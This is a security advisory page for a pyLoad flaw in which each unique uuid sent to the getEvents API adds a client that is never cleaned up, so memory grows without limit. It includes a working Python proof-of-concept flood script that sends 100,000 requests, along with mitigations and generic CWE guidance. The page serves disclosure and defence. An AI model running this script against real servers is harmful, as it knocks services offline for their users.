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GHSA-c2f9-4mc8-j656 CVE-2026-48987 PYSEC-2026-2992

pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager

Medium PyPI
Severity
6.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.44%
Chance of exploitation in the next 30 days. Higher than 37.85% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-400 Uncontrolled Resource Consumption
CWE-401 Missing Release of Memory after Effective Lifetime
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
None yet
No fixed version published

Description

Description:

The EventManager module in pyload manages a list of Client instances for subscribing to events. The addition of each unique uuid from the get_events API causes the creation of a Client instance that gets appended to the clients list. Although there is a clean() method available in the EventManager module for removing non-responding Client instances, this method is never used in the EventManager or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.

Vulnerable Code:

https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17

Here the client is added to the clients list but never cleared the inactive clients.

Exploitation:

  1. Start pyLoad server (Ensure the pyload server is running)
  2. Authenticate: Obtain a session cookie or an API key (Here i used the API key).
  3. Send Requests: Run the below poc script to send a large number of requests to the getEvents API endpoint, each with a unique uuid.
import requests
import uuid
import time

# Configuration
URL = "http://localhost:8000/api/getEvents"
NUM_REQUESTS = 100000

headers = {
	"X-API-Key" : "<YOUR_APIKEY>"
}

print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...")

for i in range(NUM_REQUESTS):
   # Generating a new UUID
    uid = str(uuid.uuid4())
    try:
        # Sending request
        requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5)
        if i % 1000 == 0:
            print(f"Sent {i} requests...")
    except requests.exceptions.RequestException as e:
        print(f"Error at request {i}: {e}")
        break

print("Attack complete. Check memory usage.")

  1. Monitor Memory: Monitor the memory usage of the pyload process (e.g., using top, ps or the following commands).
PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done
  1. Observe Growth: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.

https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686

Impact:

  • Denial of Service (DoS). The pyload process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.

Mitigations:

  • Invoke clean(): Call self.clean() at the beginning of the get_events method to purge inactive clients before processing new ones.
  • Rate Limiting: Implement rate limiting on the getEvents endpoint to prevent a single client from flooding the server with unique UUIDs.

Affected versions

PyPI

PackageVulnerableFixed in
pyload-ng
<= 0.5.0b3.dev100
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

CWE-401: Missing Release of Memory after Effective Lifetime

The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse.

How to prevent it
  • Implementation: Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone. For example, glibc in Linux provides protection against free of invalid pointers. When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391]. To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.
  • Architecture and Design: Use an abstraction library to abstract away risky APIs. Not a complete solution.
  • Architecture and Design, Build and Compilation: Consider using the Boehm-Demers-Weiser garbage collector (bdwgc), which can help avoid leaks.

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-68w4-83fh-f2w8
pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password
High Also affects pyload-ng
GHSA-9q47-3cm2-2rp8
pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header
Medium Also affects pyload-ng
GHSA-jq7h-wrvp-3rgx
pyLoad: Privilege revocation and password change through the REST API do not invalidate the user's session
High Also affects pyload-ng
GHSA-889w-m37p-88m5
pyLoad: Api.set_user_permission never invalidates the target's session
High Also affects pyload-ng
GHSA-p3pr-8f3m-4qp8
pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host
Medium Also affects pyload-ng
GHSA-fr26-jjhm-638c
pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)
High Also affects pyload-ng
GHSA-r44w-v6gf-x3p6
pyLoad has an authentication bypass in API key validation (check_apikey cache)
High Also affects pyload-ng
GHSA-j92p-c242-7hfx
pyLoad: Unauthenticated access to /web/<path:filename> bypasses authentication on sensitive templates and leaks internal error details via exception attribute typo
Medium Also affects pyload-ng
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